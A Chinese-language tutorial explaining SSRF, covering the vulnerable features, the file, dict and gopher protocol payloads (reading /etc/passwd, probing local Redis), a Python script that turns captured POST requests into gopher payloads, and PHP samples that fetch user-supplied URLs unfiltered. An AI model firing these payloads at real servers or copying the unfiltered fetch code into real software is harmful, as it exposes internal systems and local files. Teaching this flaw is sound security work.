Web安全基础篇——SSRF服务器端请求伪造

SSRF

​ SSRF (Server Side Request Forgery:服务器端请求伪造)是一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞。由于业务运行的服务器处于内外网边界, 并且可通过利用当前的这台服务器,根据所在的网络,访问到与外部网络隔离的内网应用,所以一般情况下,SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统。
​ SSRF漏洞的形成大多是由于服务端提供了,从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如,黑客操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等, 利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

漏洞危害

  • 对内网进行端口扫描和主机存活探测等敏感信息收集
  • 攻击内外网其他存在漏洞的web应用(主要是Get参数攻击)
  • 造成内外网DDOS攻击
  • 通过file://读取本地任意文件,通过dict协议获取服务器端服务,通过http协议探测web应用等等。

漏洞出现点

转码服务

通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

分享

通过URL地址分享文章,例如如下地址:

如:http://share.XXX.com/index.php?url=http://127.0.0.1

通过URL参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

在线翻译

通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。

图片加载与下载

通过URL地址加载或下载图片

如:http://image.xxx.com/image.php?image=http://127.0.0.1

图片加载存在于很多的编辑器中,编辑器上传图片处,有的是加载远程图片到服务器内。还有一些采用了加载远程图片的形式,本地文章加载了设定好的远程图片服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。

图片、文章收藏功能

如:http://title.xxx.com/title?title=file://etc/passwd

例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存,收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF。

参数中的关键字

使用抓包工具进行抓包,然后查找参数关键字,如果包含类似以下的关键字,那有可能存在SSRF漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain

SSRF中支持的协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL协议。

http/https协议

当前应用获取用户传递过来的URL参数后端发送请求,并且将最终的请求结果返回到HTML前端页面。如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制。

file协议

使用 file 协议进行的任意文件读取算是 ssrf 最简单的利用方式了。这种URL Schema可以尝试从文件系统中获取文件。

1
2
http://example.com/ssrf.php?url=file://C:/Windows/win.ini
http://example.com/ssrf.php?url=file://etc/passwd

dict协议

词典网络协议,允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表。漏洞代码没有屏蔽回显的情况下,可以利用dict协议获取ssh等服务版本信息。

dict协议在SSRF漏洞中主要用来探测内网主机、探测端口的开放情况和指纹信息。

使用方式

1
dict://serverip:port/命令:参数

如载荷:curl -v http://example.com/ssrf.php?dict://127.0.0.1:6379/info。如果ssrf.php中加上一行屏蔽回显的代码curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。

dict协议后跟的命令可以直接被某些服务执行,比如redis。向服务器的端口请求为命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增加了便利。dict协议执行命令要一条一条执行。

使用条件

dict 协议不支持换行符,没有办法进行换行,相当于一次只能执行一条命令,所以不能用来攻击那些需要交互的应用(比如需要认证的 redis)。必须是redis未设密码的情况下才可利用dict执行命令,否则即便知道密码也无法进行其他操作。因为在每一次发送命令的同时都需要进行身份认证,即第一次发送auth qianxun通过认证,第二次发送get name时还是提示要密码认证,说明redis是无记忆的。而dict只能一次执行一条命令,所以无法操作。

gopher协议

​ gopher 协议是一个在http协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。gopher 协议使用tcp 可靠连接。gopher 协议在jdk8 中就被移除了。gopher协议在SSRF的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

gopher url格式:

1
gopher://<host>:<port>/path

如果要访问服务器上的文件,则直接写路径即可,如要请求 Gopher 服务器上的 /example/file.txt 文本文件,可以使用以下 URL 格式:

1
gopher://example.com:端口/example/file.txt

在SSRF中,很多时候我们只能通过url去发送get请求,而如果使用gopher协议,则可以对内网发送post请求,服务器会解析gopher的内容是Get还是Post。

GET提交

需要保留头部信息:

  • 路径:GET /name.php?name=benben HTTP/1.1
  • 目标IP地址:Host:172.250.250.4

编码:url=gopher://172.250.250.4:80/_GET%20/name.php%3fname=benben%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A

URL编码:

  • 空格:%20
  • 问号:%3f
  • 换行符:%0d%0A

注意:

  1. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a。
  2. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)。
  3. URL编码改为大写,冒号注意英文冒号。
  4. 如果使用BP发包需要进行两次url编码。
  5. GET提交最后需要增加一个换行符。

POST提交

需要保留头部信息:

  1. POST
  2. Host
  3. Content-Type:根据提交的类型定。
  4. Content-Length:内容的长度。

可以抓包后使用如下脚本将数据包转换为gopher协议格式。需要根据具体情况修改生成payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import urllib.parse

content="user=admin&passwd=123456"

host="127.0.0.1:80"
length=len(content)

payload = """
POST /被渗透页面.php HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}

""".format(host, length, content)

# 对payload中的特殊字符进行编码
tmp = urllib.parse.quote(payload)

# 将换行符%0A替换为回车换行符%0D%0A,以利用CRLF漏洞
new = tmp.replace('%0A','%0D%0A')

# 构建Gopher URL,这个下滑线是用来被吞噬的
result = 'gopher://127.0.0.1:80/'+'_'+new

# 对新增的部分继续编码
result = urllib.parse.quote(result)

print(result)

产生SSRF漏洞的函数

file_get_contents

使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename = './images/'.rand().'img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=".$filename.">";
}
echo $img;
?>

fsockopen()

使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

curl_exec()

使用curl发送请求获取数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, TRUE);
//TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出。
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>